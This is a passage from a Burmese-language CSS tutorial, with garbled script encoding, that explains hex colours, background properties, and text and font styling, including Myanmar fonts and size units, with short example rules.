FFFF00 ဟာ R = FF, G = FF နဲ့ B = 00 ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ Red နဲ့ Green အတက်ွြ အပမင့်ဆံုးလက်ြခံ
နိုငတ်ဲ့  FF  လ့ုိ သတမ်တှထ်ားပပးီ  Green  ကုိြ  00  သတမ်တှထ်ားတဲ့အတက်ွြ သူလညး်ပအဲဝါ ိရောငကုိ်ြရေရေှိမာှ  ပဖေစ်ပါ
တယ်။
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ပုံ (၃-ဂ) CSS Hex Color

မတ်ှချကြ် ။ ။ Hax Value  ိတွဟာ အပပည့်အစုံဆုိရေင်  (၆)လံုးတဲွိရေးရေိပမယ့် အတုိိကြာကြအ်ိနနဲ့  (၃)  လံုးပဲိ ရေးလုိလ့ညး်ရေပါ
တယ။် ဥပမာ - #FFFF00 အစား #FF0 လုိ့ ိရေးနိုငပ်ါတယ။် #88AADD အစား #8AD လုိ့ိ ရေး နိုငပ်ါတယ။် #FFFFFF အစား
#FFF လုိ့  ိရေးနိုငပ်ါတယ။်  #000000 အစား  #000 လုိ့  ိရေးနိုငပ်ါတယ။် ပပးီိတာ့  စာလံုးအကကြးီအိသးလညး် ပပဿနာမရေှိပါ
ဘးူ။ နစှသ်ကြရ်ော သုံးနိုငပ်ါတယ။်  #ffff00 လုိ့ ိရေးသားရေငလ်ညး်အလုပလု်ပမ်ာှပပဲဖေစပ်ါတယ။်

Color Value ိတအွိအကြာငး်သိပပီဆုိရေင် Background Color သတမ်တှတ်ာကြလယ်ွသွားပါပပ။ီ ိဖောပ်ပခဲ့တဲ့ Color
Name,  RGB  နဲ့  Hex Value  တို့ကုိြ  background-color  အတက်ွြတငမ်ကြပါဘူး  စာလုံးအိရောင်ိ တ၊ွ  Border
အိရောင ်ိတ ွစသပဖေင့် Color Value ိပးလို့ရေတဲ့ိ နရောတိုငး်မာှ အသံုးပပုနိုငမ်ာှပဖေစ်ပါတယ်။

သိရေှိိ အာင်  RGB  Color  တက်ွြချက်ြအလပုလ်ပုပ်ုံကုိြ  ထည့်သွငး်ိဖောထ်ားိပမယ့်  လက်ြိတွ့မာှ  အိရောင်ိ တကုိွြ
ကုိြယ်တိုငတ်က်ွြပပီး  စပ်ိ နဖေို့မလိုပါဘးူ။ မျက်ြစိနဲ့ပမင်ိ နတဲ့အိရောငကုိ်ြ ိထာက်ြယူလိုက်ြယံုနဲ့   Color Code  ိတပွပန်
ထတု်ိ ပးတဲ့ Color Picker Tool ိတ ွအများကကီြးရေှိပါတယ်။ ဒီိ နရောမာှ အဆငအ်ိပပဆံုးကြိတာ့ ColorZilla လို့
ိခါ်တဲ့  Firefox Addon ပပဲဖေစ်ပါတယ။် ဒီ  Addon ထည့်သွငး်လိုက်ြရေင်  Website  ိတွိ ပါ်ကြ ပမင်ိ နရေတဲ့အိရောင်
ကုိြ ိထာက်ြယူနိုငသ်လို  Color Circle  ိပါ်မာှ အိရောင်ိ တွိ ပါငး်စပပ်ပီးိတာလ့ညး်  Color Code ိတ ွရေယူနိုငပ်ါ
တယ်။  Color Code  ကုိြလညး်  Hex, RGB, CSS3 Color Function  ိတထွမဲာှ တစ်ခအုပါအဝငပ်ဖေစ်တဲ့  HSL,
Print  Design  မာှသံုးတဲ့  CMYK  စသပဖေင့်  အမျို းမျို းကုိြပပန်ိ ပးနိငုပ်ါတယ်။  အကြယ်၍  စပထ်ားတဲ့အိရောငက်ြ
Color Name အိနနဲ့ရေှခိဲ့ရေငလ်ညး် တွဲဖေက်ြ ိဖောပ်ပိပးပါတယ်။  Web Developer ိတအွတက်ွြမရေှိမပဖေစ် Browser
Addon ထဲမာှ တစ်ခအုပါအဝငပ်ဖေစ်ပါတယ်။
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ပုံ (၃-ဃ) ColorZilla Firefox Addon
Link: http://www.colorzilla.com/

Google Chrome နဲ့ တစ်ပခား Browser ိတအွတက်ွြလညး် အလားတူ Extension ိတရွေှိပါတယ်။ Install လပုပ်ုံနဲ့
အသံုးပပုပုံ အိသးစိတကုိ်ြိတာ့ စာဖေတသူ်ကုိြယ်တိုငရ်ောှိဖေွိ လ့လာပပးီ စမး်သပအ်ကြည့်ိ စချငပ်ါတယ်။

ကြျွန်ိ တာတ်ိုိ့ လလ့ာလက်ြစ  CSS Background Property ိတအွိအကြာငး်ပပနသွ်ားပါမယ။် Background Image
ိတ ွထည့်သွင်းဖေို့အတက်ွြ  background-image Property  ကုိြသံုးနိုငပ်ါတယ်။ ကြျွန်ိ တာတ်ို့မာှ  alert.png
ဆုိတဲ့ Image ိလးတစ်ခ ုရေှိတယ်ဆုိအကြပါစုိ။့

alert.png

ဒီ  Image  ိလးကုိြ  <p class="alert"> Element  အတက်ွြ  Background  အပဖေစ်အသံုးပပုလိုရေင်  အခလုို
ိရေးသား နိုငပ်ါတယ်။

p.alert {
  background-image: url("alert.png");
}

http://www.colorzilla.com/
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background-image Property  အတက်ွြ  Value  ကုိြ  url() Function  နဲ့  သတမ်တှ်ိ ပးရေတာ ပဖေစ်ပါတယ်။
url() အတငွး် မာှ Image File ရေှိိ နတဲ့ Path လမး်ိအကြာငး်ကုိြ ညွှနး်ဆုိိပးရေပါတယ်။ ရေလဒအ်ိနနဲ ့အခလုိုမျို းရေရေှိ
မာှ ပဖေစ်ပါတယ်။

ပုံ (၃-င) CSS Background Image Property

<p> Element ကြ ကကီြးိနပပးီ  alert.png Image ကြ ိသးိနတဲ့အတက်ွြ Browser ကြ Repeat လုပပ်ပးီိဖောပ်ပ
သွား  တ့ဲအတက်ွြ  ဒလီိုရေလဒရ်ေရေှိိ နတာပဖေစ်ပါတယ်။  အ့ဲဒီ  Repeat  လုပ်ိ ဆာငခ်ျက်ြကုိြိတာ့  background-
repeat Property နဲ့ ပပုပပငန်ိုငပ်ါတယ်။  ကြျွန်ိ တာတ်ိုိ့ ရေးထားတဲ့  CSS ကုိြ ပဖေည့်စွက်ြပပငဆ်ငလ်ိုက်ြပါမယ်။

p.alert {
  background-image: url("alert.png");
  background-repeat: no-repeat;
}

background-repeat Property နဲ့ တဲွဖေက်ြအသံုးပပုနိုငတ်ဲ့ Value (၄) မျို း ရေှိပါတယ်။ repeat, repeat-
x, repeat-y နဲ့  no-repeat တို့ပဲ ပဖေစ်ပါတယ်။ repeat ကြိတာ့ Default Value ပဖေစ်ပါတယ်။ repeat-x
ကြိတာ့  Image Repeat  ကုိြ  အလျှားလိုက်ြ  (Horizontal)  ပဲ  လုပလ်ိုတဲ့အခါ သံုးပါတယ်။  repeat-y ကုိြိတာ့
Image Repeat  ကုိြ ိဒါငလ်ိုက်ြ  (Vertical)  ပဲ လပုလ်ိုတဲ့အခါ သံုးပါတယ။် လက်ြရေှိအသံုးပပုထားတဲ့  no-repeat
ကြိတာ ့Repeat မလပုပ်ါနဲ့လို့ သတမ်တှ ်လုိက်ြပခင်းပ ဲပဖေစ်ပါတယ်။ ရေလဒက်ြိတာအ့ခလုိုရေရေှိမာှပါ။ 
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ပုံ (၃-စ) CSS Background Repeat

ပုံကုိြ အရေှိအတိုငး်ပဲ သံုးိပးထားပပးီ Repeat မလပု်ိ တာတ့ာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။ ဆက်ြလက်ြပပးီ  Background
Image ရေဲ့  Position ကုိြ background-position Property သံုးပပးီ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ 

p.alert {
  background-image: url("alert.png");
  background-repeat: no-repeat;
  background-position: top right;
}

background-position Property  အတက်ွြ  Value  ကုိြ  နစ်ှခုိ ပးရေပါတယ်။  Vertical  Position  နဲ့
Horizontal  Position  ပဖေစ်ပါတယ်။  top ိနရောမာှ  bottom သုိမ့ဟတု်  center နဲ့  လိုအပသ်လိုအစားထိုး
အသံုးပပုနိုငပ်ါတယ်။ right ိနရောမာှ ိတာ့ left သုိမ့ဟတု် center နဲ့ လုိအပသ်လို အစားထိုးအသံုးပပု နိုငပ်ါ
တယ်။  top right လ့ုိ သံုးထားတဲ့အတက်ွြ လက်ြရေှိရေလဒ ်ကြိတာအ့ခလုိုိ ပပာငး်သွားမာှပဖေစ်ပါတယ်။
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ပုံ (၃-ဆ) CSS Background Position

မတ်ှချကြ် ။ ။ Position Name ိတွနဲ့ မဟတ်ုပဲ ိနရောအတိအကြျလညး် သတ်မတ်ှိပးနိုငပ်ါတယ။်  ဥပမာ  -  background-
position: 10px 20px;  လုိ့ိ အကြပငာအသုံးပပုနိုငပ်ါတယ။်  ဒါဆုိရေင်  Position  ကြို  Element  Left  ကြိန 10px နဲ့
Element Top ကြိန 20px ခာွပပးီ ိနရောချထားိပးမာှပဖေစပ်ါတယ။်

Background Property (၅) မျို းမာှ (၄) မျို းိဖောပ်ပခဲ့ပါပပ။ီ ကြျနတ်စ်မျို းပဖေစ်တဲ့ background-attachment ကြ
ိတာ့  Background  Image  ကုိြ  Screen  Viewpoint  နဲ့  Attach  ပဖေစ်ိနိစလိုတဲ့အခါအသုံးပပုရေပါတယ်။
background-attachment:  fixed; လို့  ိအကြပငာအသံုးပပုရေပါတယ်။  ပုံမနှဆုိ်ရေင်  Background  ကြ
Document နဲ့ Attach ပဖေစ်ိနတာ ပဖေစ်ပါတယ်။ အသံုးပပုသူကြ Scrollbar ဆဲွလိုက်ြလိုိ့ ဖောပ်ပတဲ့ Content ိနရောိရေွ့
သွားရေင် Background လညး်လိုက်ြိရေွ့သွားမာှပါ။ background-attachment: fixed; လို့သတမ်တှထ်ား
ရေင်ိ တာ့  Scroll  လုပလ်ိုက်ြ ရေငလ်ညး်  Background Image  ကြ ပမငကွ်ြငး်ကြိန ိပျာက်ြကွြယ်မသွားပဲ ဆက်ြလက်ြ
တညရ်ေှိိ နမာှပဖေစ်ပါတယ်။

CSS  မာှ  Shorthand  လ့ုိိခါ်တဲ့  အတိုိ ကြာက်ြိရေးနညး်ရေှပိါတယ်။  Background  Property  အားလုံးကုိြ  တစ်
ိအကြာငး်စီ ိလးငါးိအကြာငး်ခွဲိ ရေးမိနပ ဲအတိုိ ကြာက်ြိရေးလိုရ့ေပါတယ်။ 

p.alert {
  background: #FFFFDD url(alert.png) no-repeat top right;
}
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နမနူာမာှ  background-color, background-image, background-repeat နဲ့  background-
position ိလးမျို းလုံး အစား background ဆုိတဲ့  Property တစ်ခတုညး်နဲ့  Value ိတ ွအားလုံးကြို တနး်စီ
ထည့်ိ ပးလိုက်ြတာပါ။  ဒနီညး်နဲ့  အတိုိ ကြာက်ြိရေးလို့ရေပါတယ်။  ဒါိပမယ့်  Value  ိတကွြ  Color  Image → →

Repeat    Attachment   Position   → → အစီအစဉအ်တိုင်း  မနှ်ိ အာင်ိ ပးရေပါတယ်။  စလိုတဲ့  Value  နဲ့စနိငုပ်ါ
တယ်။ နမနူာမာှ  Color နဲ့ စထားပါတယ်၊ ဆန္ဒရေှိရေင်  Position ကြိနစလညး် ရေပါတယ်။ ဒါိပမယ့် ိနာက်ြကြဆကြ်
လိုက်ြတဲ့  Value  ကြိတာ့  အစီအတိုငး်  မနှ်ိ အာင်ိ ပးရေမာှပဖေစ်ပါတယ။်  အစီအစဉ်  မမနှရ်ေငအ်လပုလ်ပုမ်ာှမဟတုပ်ါ
ဘးူ။ မထည့်လိုတဲ့ Value ရေှိရေငလ်ညး် ချနထ်ားခဲ့လို့ရေပါတယ်။ နမနူာမာှဆုိရေင် Attachment ကုိြချန် ထားခဲ့ပါတယ်။
ကြျွန်ိ တာတ်ို့ရေဲ့  နမနူာကုိြ  အားလုံးပပည့်စံုသွားိအာင ် Property တစ်ချို ့ ထပပ်ဖေည့်လိုက်ြပါမယ်။ 

p.alert {
  background: #FFD url(alert.png) no-repeat 10px center; 
  border: 2px solid #DDA; 
  padding: 10px 10px 10px 50px; 
  border-radius: 5px;
}

border, padding, border-radius Property ိတ ွထပပ်ဖေည့်လိုက်ြတာပါ။ ဒီ Property ိတအွိအကြာငး်
ကုိြ မအကြာခငမ်ာှ ရေငှး်ပပိပးမာှပါ။ လက်ြရေှိရေလဒက်ြိတာ ့အခလုိုရေရေှိမာှပဖေစ်ပါတယ်။ 

ပုံ (၃-ဇ) CSS Background - ိနာက်ြဆံုးရေလဒ်

အခုဆုိရေင် <p> Element တစ်ခကုိုြ App Interface ိတမွာှ ိတွ့ ပမင်ိ နအကြ  Warning Message အသွင် နဲ့ိ ဖောပ်ပ
ိပးိအာင ်CSS နဲ့ ဖေနတ်းီလိုက်ြတာပပဲဖေစ်ပါတယ်။
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Text and Font
စာလုံးအိရောင ်(Text Color) ကုိြ CSS နဲ့ သတမ်တှဖ်ေို့အတက်ွြ color Property သံုးရေပါတယ်။ Value အိနနဲ့ ကြ
ိတာ့ Background Color မာှ ိဖောပ်ပခဲ့တဲ့ နညး်လမး်ိတအွတိုငး်ပဲ Color Value ိတွိ ပးရေမာှပဖေစ်ပါတယ်။ စာပိုဒ်
ိတကုိွြ ဘယ်ဘက်ြကုိြအညယူီမယ် (သုိမ့ဟတု်) ညာဘက်ြကုိြအညယူီမယ်စသပဖေင့် Alignment လုပဖ်ေိုအ့တက်ွြ text-
align Property ကုိြသံုးရေပါတယ်။ Value အိနနဲ့ left, right, center, justify ိလးမျို း အသံုးပပု
နိုငပ်ါတယ။်

h1 {
  color: #224477;
  text-align: center;
}

p {
  color: #555;
  text-align: justify;
}

စာရေက်ွြိပါ်မာှလက်ြနဲ့စာိတွိ ရေးတဲ့အခါ စာပိုဒတ်ိုငး်ရေဲ့ပထမလိုင်းကုိြ ိဘးမျဉး်ကြိန လက်ြမဝက်ြခာွပပးီိရေးအကြိလ့ ရေှိ
ပါတယ်။ ဒသီိဘာကုိြ Web မာှိတာအ့သံုးနညး်ပါတယ်။ ိဘးမျဉး်ကြိန လက်ြမဝက်ြခာွတာကြ စာရေက်ွြိပါ်မာှ ဖေတ်
လို့ ိကြာငး်ိပမယ့်၊ Screen ိပါ်မာှ ဖေတရ်ေတာသိပအ်ဆငမ်ိပပပါဘးူ။ သံုးလိုရေင်ိ တာ့  text-indent Property
ကုိြ သံုးနိုငပ်ါတယ်။

p {
  text-indent: 50px;
}

စာလုံးိတကုိွြ  Underline  တားပပးီ  ိဖောပ်ပလိုတဲ့အခါ  text-decoration Property  ကုိြ  အသံုးပပုနိုငပ်ါတယ်။
လက်ြိတွ့  မာှ  text-decoration Property  ကုိြ  Underline  ိတပွဖေုတဖ်ေို့အတက်ွြ ပိုအသံုးများပါတယ်။  <a>
Element  တစ်ခု  ထည့်သွင်းလိုက်ြရေင်  Browser  ိတကွြအလိုအိလျှာက်ြ  Underline  တားပပးီိဖောပ်ပိလရ့ေှိပါတယ်။
အ့ဲဒလီို  Underline  တားထားတာကုိြ မလိုချငတ်ဲ့အခါ  text-decoration Property  မာှ  Value  ကုိြ  none လို့
သတမ်တှ်ိ ပး နိုငပ်ါတယ်။

a {
  text-decoration: none;
}

a:hover {
  text-decoration: underline;
}

none နဲ့  underline အပပင်  text-decoration Property နဲ့ တွဲဖေက်ြအသံုးပပုလို့ရေတဲ့  Value ိတကွြိတာ့
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overline, line-through, blink တို့ပဲ  ပဖေစ်ပါတယ်။  overline ကြိတာ့ အိတာကုိ်ြအသံုးနည်းပါ
တယ်။  blink ကြိတာ့ စာလုံးကုိြ မှိတတ်ုံ့မှိတတ်ုံ့ပဖေစ်ိစချငရ်ေငသံု်းရေတာပါ။  90'  ိခတမ်ျားကြ အသံုးများခဲ့ိ ပမယ့်
ကြိန့ိ ခတမ်ာှ လုံးဝမသံုးိတာသ့ိလာက်ြ အသံုးနည်းသွားပါပပ။ီ  line-through ကြိတာ့ တစ်ချို ့ိနရော ိတမွာှ
အသံုးဝငပ်ါတယ်။ တစ်ကြယ့်လက်ြိတွ့မာှ ိတာ ့ none နဲ့ underline သာ အသံုးအများဆံုးပဖေစ်ပါတယ်။

စာလုံးအသွင်အပပင်  (Font)  သတမ်တှဖ်ေို့အတက်ွြ  font-family Property  ကုိြ  သံုးရေပါတယ်။  Value  အိနနဲ့
အသံုးပပုလိုတဲ့ Font အုပစု်ကုိြ သတမ်တှ်ိ ပးရေပါတယ်။

p {
  font-family: Arial, Helvetica, sans-serif;
}

ဒလီို  အုပ်စုလိုက်ြသတမ်တှတ်ာကြ  Fallback  အတက်ွြ အသံုးဝငပ်ါတယ်။ ိပးထားတဲ့ နမနူာအရေ အသံုးပပုသူထမံာှ
Arial Font ရေှိရေင ်Browser ကြ <p> Element ိတကုိွြ Arial နဲ့ ိဖောပ်ပမာှပဖေစ်ပါတယ်။ မရေှိရေင်ိ တာ ့ Helvetica ကုိြ
အသံုး ပပုိဖောပ်ပ ပါလမိ့်မယ်။  Helvetica  လညး် မရေှိဘးူဆိရုေင်ိ တာ့  sans-serif Font  နဲ့  ိဖောပ်ပိပးမာှပဖေစ်ပါ
တယ်။ သတမ်တှ်ိ ပးထားတဲ့ Font ိတတွစ်ခမုမှရေှိဘူးဆုိရေင်ိ တာ့ Browser Default Font နဲ့ပဲ ိဖောပ်ပိပးမာှ ပဖေစ်
ပါတယ်။  Document  ထမဲာှ ပမနမ်ာစာိတ ွထည့်သွင်းိရေးသားထားလို့ ပမနမ်ာ  Font  ိတ ွသတမ်တှခ်ျငရ်ေငလ်ညး်
အခလုို သတမ်တှန်ိုငပ်ါတယ်။

p {
  font-family: Padauk, Maynamr3, "Myanmar Text";
}

"Myanmar  Text"  ကုိြ  Quote  အဖေငွ့်အပတိန်ဲ့ိ ရေးတာကုိြသတပိပုပါ။  သူကြ  Font  Name  မာှ  Space  ပါိနလို့
Quote အဖေငွ့်အပတိန်ဲ့ ိရေးိပးဖေို့လိုအပတ်ာပဖေစ်ပါတယ်။  Myanmar Text Font ဆုိတာ Windows 8 မာှ Default
ပါဝငလ်ာတဲ့ Myanmar Font ပဖေစ်ပါ တယ်။

မတ်ှချကြ်  ။ ။ ဒစီာိရေးိနချိနမ်ာှ  ပမနမ်ာစာိရေးဖေို့အငတ်ာနကြမ်ာှ  တွငတွ်ငက်ြျယက်ြျယအ်သုံးပပုိနတာကြ  Zawgyi Font  ပဖေစပ်ါ
တယ။်  Zawgyi Font  ကြို အသုံးပပုလုိရေင်ိ တာ့  font-family: zawgyi-one; လုိ့ သတ်မတ်ှိပးရေမာှပါ။  Zawgyi  နဲ့
နညး်ပညာတူတ့ဲ  တစပ်ခား  တဲွဖေကြသ်တ်မတ်ှစရော  Font  တစခ်မုမှရေှိလုိ့  တစခ်တုညး်ပသဲတ်မတ်ှိပးရေိလ့ရေှိပါတယ။်   Web
Standards  ကြို  အညအီညတ်ွမလုိကြန်ာ  နိုငခ်ငက်ြ  Web  နညး်ပညာမာှ  အဆငမ်ိပပတာိတွရေှိခဲ့သလုိပဲ  လကြရ်ေှိကြနွပ်ျူတာသုံး
ပမနမ်ာစာမာှလညး်  Font  ိတွမတူတ့ဲအတွကြ် အဆငမ်ိပပတာိတွရေှိပါတယ။် ဒါိပမယ့် အခုိ နာကြပ်ိုငး်ိတာ့  ပမနမ်ာစာအတွကြ်
လညး် Unicode Consortium ကြ သတ်မတ်ှထားတ့ဲ ကြနွပ်ျူတာသုံး ဘာသာစကြားဆုိငရ်ော နညး်ပညာစံိ တွကြို ကြျယက်ြျယ် ပပန့်
ပပန့် လုိကြန်ာလာအကြပါပပ။ီ  Microsoft, Apple တုိလုိ့့ အဓကိြ  Operating System ထုပလု်ပသ်ူိ တွကြ Unicode စလုိံကြန်ာ တ့ဲ
ပမနမ်ာ Font ိတွကြို သတုိူ့ OS ိတွမာှ တစပ်ါတညး်ထည့်သငွး် ိပးလာသလုိ၊ Google, Wikipedia အစရေှိတ့ဲ အဓကိြ Website
ိတွကြလညး် သတုိူ့  Website  ိတွမာှ ပမနမ်ာစာိတွိဖောပ်ပဖေို့  Unicode  စအံတုိငး် ိဖောပ်ပအသုံးပပုလာအကြပပပီဖေစပ်ါတယ။် မအကြာ
ိတာတ့ဲ့ကြာလမာှ  အခအုကြုံိတွ့ိနရေတ့ဲ  အဆငမ်ိပပမှု တွ ိပပလည်  သာွးိတာမ့ယလုိ့်  ိမျှာလ်င့်ပါတယ။်  ဒအီိအကြာငး်ကြစတ်ိ
ဝငစ်ားဖေိုိ့ ကြာငး်သလုိ  Web Developer ိတွ သရိေှိထားသင့်လုိ့ အိသးစတ်ိ ိဖောပ်ပချငပ်ါတယ။် ဒါိပမယ့် ကြျွန်ိ တာတုိ် ့ိလ့လာ
လကြစ်ကြိန လမး်လဲွသာွးမာှစိုးလုိ ့ချနခ်ဲ့လုိကြပ်ါတယ။် 
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စာလုံးိတကုိွြ  Bold  လပုလ်ိုတဲ့အခါ  (သုိမ့ဟတု်)  Bold  လပုထ်ားတဲ့စာလုံးိတကွြိန Bold  ပပနပ်ဖေုတလ်ိုတဲ့  အခါ
font-weight Property ကုိြ သံုးနိုငပ်ါတယ်။ font-weight: bold; ဆုိရေင် စာလုံးိတကုိွြ Bold လပု်ိ ပး
မာှပဖေစ်ပပးီ၊  font-weight: normal; ဆုိရေင်  Bold  လုပထ်ားတာကုိြ  ပပနပ်ဖေုတ်ိ ပးမာှ  ပဖေစ်ပါတယ်။  <h1>
<h2> <h3> အစရေှိတဲ့ Heading Element ိတဟွာ မလူိဖောပ်ပပုံအရေ Bold လုပ်ိ ဖောပ်ပအကြိလရ့ေှိပါတယ။် မလိုချင်
ဘးူဆုိရေင် font-weight: normal; နဲ့ ပပနပ်ဖေုတ်ိ ပးရေမာှ ပဖေစ်ပါတယ်။ 

စာလုံးိတကုိွြ  Italic  လပုလ်ိုတဲ့အခါ  (သုိမ့ဟတု်)  Italic  လပုထ်ားတဲ့စာလုံးိတကွြိန Italic  ပပနပ်ဖေုတလ်ိုတဲ့  အခါ
font-style Property ကုိြ သံုးနိုငပ်ါတယ။် font-style: italic; ဆုိရေင် စာလုံးိတကုိွြ Italic လုပ်ိ ပး
မာှပဖေစ်ပပးီ၊ font-style: normal; ဆုိရေင ်Italic လပုထ်ားတာကုိြပပနပ်ဖေုတ်ိ ပးမာှ ပဖေစ်ပါတယ်။

မတ်ှချကြ်  ။ ။ စာရေကွြ်ိ ပါ်မာှရုိကြန်ှိပ်ိ ဖောပ်ပတ့ဲစာပပဲဖေစပ်ဖေစ၊်  Web Document  ိပါ်မာှ ိဖောပ်ပတ့ဲစာပပဲဖေစပ်ဖေစ်  Typography  လုိ့
ိခါ်တ့ဲ စာလံုး စစီဉ်ိ နရောချထားမှုအတကြပ်ညာကြို သရိေှိထားမသှာ ဖေတ်ရှုသကူြဖေတ်ရေတာရေငှး်လငး်ိချာိမွ့ ပပးီ အဆင်ိ ပပတာပဖေစ်
ပါတယ။် ဒစီာအပုဟ်ာ  Design ထကြစ်ာရေင် Development ဘကြက်ြို ပိုပပးီအသားိပးချငလုိ့် Typography အိအကြာငး် တစခ်နး်
ကြဏယပူပးီ မိဖောပ်ပနိုငပ်ါဘးူ။ ဒါိပမယ့် မပဖေစမ်ိန သသိင့်တ့ဲကြစိ္စ တွကြိုိ တာ ့သင့်သလုိထည့်သငွး်ိဖောပ်ပိပးသာွးပါမယ။်

စာလုံးိတကုိွြ  Bold  လပုတ်ယ်  Italic  လုပတ်ယ်ဆိုတာ ိယဘယုျအားပဖေင့် ပိုပမငသ်ာိအာင်  Emphasis  လပုလ်ိုက်ြ
တာပါပ။ဲ နစ်ှသက်ြတဲ့နညး်လမး်ကုိြ အသံုးပပုနိုင်ိ ပမယ့် Bold လုပပ်ပးီ အလနွအ်မငး် Emphasis လပုထ်ားတဲ့စာိတွ
ကြ ဖေတရ်ှုသူ အတက်ွြ ဖေတရ်ေတာိထာက်ြိစပါတယ်။  ပုံ (၃-ဈေ) မာှ နှိုငး်ယှဉအ်ကြည့်နိုငပ်ါတယ်။

ပုံ (၃-ဈေ) Emphasis in Typography
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
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စာလုံး  Size  ိတသွတမ်တှဖ်ေို့အတက်ွြိတာ့  font-size Property  ကုိြသံုးနိုငပ်ါတယ်။  CSS  မာှ  font-size
အပါအဝင်  Size  ပမာဏတနဖ်ေိုးသတမ်တှဖ်ေို့  အသံုးပပုနိုငတ်ဲ့   Unit  အမျို းမျို းရေှိပါတယ်။  px, pt, in, mm,
em, %  စသပဖေင့်ရေှိအကြပါတယ်။ ဒါိပမယ့် pt, in, mm အစရေှိတဲ့ Unit ိတကွြ Screen အတက်ွြသိပ်အဆငမ်ိပပ
ပါဘးူ။ Screen Resolution ကွြာပခားချက်ြိအကြာင့် 1in ဟာတစ်ကြယ့် 1 inch နဲ့ Screen ိပါ်မာှအပမတဲမး်တညူဖီေို့
မိသချာ ပါဘးူ။ အသံုးများတဲ့ (၃) မျို းကြ px, em နဲ့  % တို့ပပဲဖေစ်အကြပါတယ်။  px Unit ကြိတာ့ သတမ်တှလ်ိုတဲ့
Size  ကုိြ  "အတအိကြျ"  သတမ်တှလ်ိုက်ြတာပဖေစ်ပါတယ်။  font-size: 13px; လို့  သတမ်တှလ်ိုက်ြရေင်  13px
ပမာဏရေှိတဲ့ စာလုံးအရေယ်ွအစားနဲ့ ိဖောပ်ပိပးသွားမာှပ ဲပဖေစ်ပါတယ်။ 

em နဲ့  % ကုိြိတာ့  Relative Unit  လို့  ိခါ်ပါတယ်။  Size  ကုိြ  အတအိကြျ သတမ်တှတ်ာမျို း  မဟတုပ်ဲ  font-
size: 200%; လ့ုိ သတမ်တှလ်ိုက်ြတာဟာ  "ပုံမနှသံု်းရေမယ့် Size ထက်ြ နစ်ှဆကကီြးတဲ့ Size ကုိြ သံုးလိုက်ြပါ" ဆုိ
တဲ့အဓပိ္ပါယ် ပဖေစ်ပါတယ်။  font-size: 80%; ဆုိတာဟာ "ပုံမနှသံု်းရေမယ့်  Size  ထက်ြ နညး်နညး်ိသးပပီးသံုး
လိုက်ြပါ"  ဆုိတဲ့  အဓပိ္ပါယ်ပဲ  ပဖေစ်ပါတယ်။  နညး်နညး်ိသးလို့  ိပပာလိုက်ြတာပဖေစ်လို့  ဘယ်ိလာက်ြိသးမလဆုိဲတာ
Parent  Element  ိပါ်မတူည်ိ နပါတယ်။  ဥပမာိလးနဲ့  အကြည့်ချငပ်ါတယ်။  ကြျွန်ိ တာတ်ို့မာှ  ဒလီို  Element
Structure ရေှိတယ်ဆုိပါစုိ ့-

<body>
  <p>
    … 
    <b> … </b>
  </p>
</body>

<body> Element အတက်ွြ Fix Size တစ်ခု သတမ်တှ်ိ ပးပပီး ကြျန် Element ိတကုိွြ Relative Unit ပဖေစ်တဲ့ %
သံုးပါမယ်။

body {
  font-size: 16px;
}

p {
  font-size: 200%;        /* 32px */
}

p b {
  font-size: 40%;        /* 12px ခန့် (40% of 32px) */
}

မတ်ှချကြ်  ။  ။ CSS  ထဲမာှ  မတ်ှချကြ်ိ တွ ထည့်သငွး်ိရေးသားလုိရေင်  /* အဖေငွ့်နဲ့  */ အပတ်ိအကြားထဲမာှ  ိရေးသားနိုငပ်ါတယ။်
လကြ်ိ တွ့ အလုပလု်ပတ့ဲ်အခါ  /* */  အကြားထဲမာှ ိရေးသားထားတာိတွကြို ထည့်သငွး်အလုပလု်ပမ်ာှမဟတ်ုပါဘးူ။
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em Unit ရေဲ့သိဘာကြ % နဲ့ ဆငပ်ါတယ်။ 1.5em ဆုိတာ "တစ်လုံးခွဲစာ" ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပပးီ၊ 3em ဆုိတာ "သံုး
လုံးစာ" ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ မလူိဖောပ်ပရေမယ့်စာလုံးရေဲ့  "သံုးလုံးစာသံုးပပးီ ိဖောပ်ပပါ" ဆုိိတာ့ "သံုးဆကကီြးပပီး
ိဖောပ်ပပါ"  လ့ုိ ိပပာလိုက်ြတာနဲ့ အတတူပူလဲို့ဆိုနိုငပ်ါတယ်။  ဒါိပမယ့် ဒါကြ font-size မို့လို့ပါ။ တစ်ပခား  Size
ိတမွာှိတာ့ နညး်နညး် စဉး်စားစရောရေှိပါတယ။်  width: 30em; ဆုိတာ  Element  ရေဲ့  အကြျယ်ကုိြ စာလုံးအလုံး
(၃၀) စာ ိပးလိုက်ြပါလို့ဆုိလိုတာ ပဖေစ်ပါတယ်။ width: 50%; ဆုိတာကြ သတမ်တှရ်ေမယ့်အကြျယ်ရေဲ့  ထက်ြဝက်ြပဲ
သတမ်တှ် လုိက်ြပါလို့ဆုိလိုတာပါ။ အဓပိ္ပါယ်ပခငး် သိပမ်တူိ တာပ့ါဘးူ။ ဒါိအကြာင့်  em နဲ့  % ဟာ font-size အတက်ွြ
ိတာသ့ိဘာ တရေားတူိ ပမယ့် တစ်ပခား  Size  ိတ ွပဖေစ်တဲ့  Border Size, Width, Height, Margin, Padding
အစရေှိတဲ့ ိနရောိတမွာှ ိတာ ့မတူိ တာပ့ါဘးူ။

px လို  Fixed Unit  သံုးသင့လ်ား  % နဲ့  em လ့ုိ  Relative Unit  သံုးသင့လ်ားဆိတုဲ့ အပငငး်အခနုက်ြကြိနထ့ိ  Web
Developer ိတအွကြားထမဲာှ ရေှိိ နဆဲပဖေစ်ပါတယ်။ တစ်ချို ့ကြိတာ့ Relative Unite ိတဟွာ တစ်ခါတစ်ရေံ ခန့်မနှး်ရေ
ခက်ြပပးီ User Setting ကုိြ မှီခိုိ နလို့  Design ရေဲ့အိသးစိတ် Detail ကုိြ ထိခိုက်ြိစတယ်လို့ဆုိအကြပါတယ်။ တစ်ချို ့
ကြိတာ့  Fixed Unit  ိတသံုွးမယ်ဆုိရေင် အသံုးပပုသူကြ Browser Function ိတပွဖေစ်တဲ့  Zoom-In/Zoom-Out
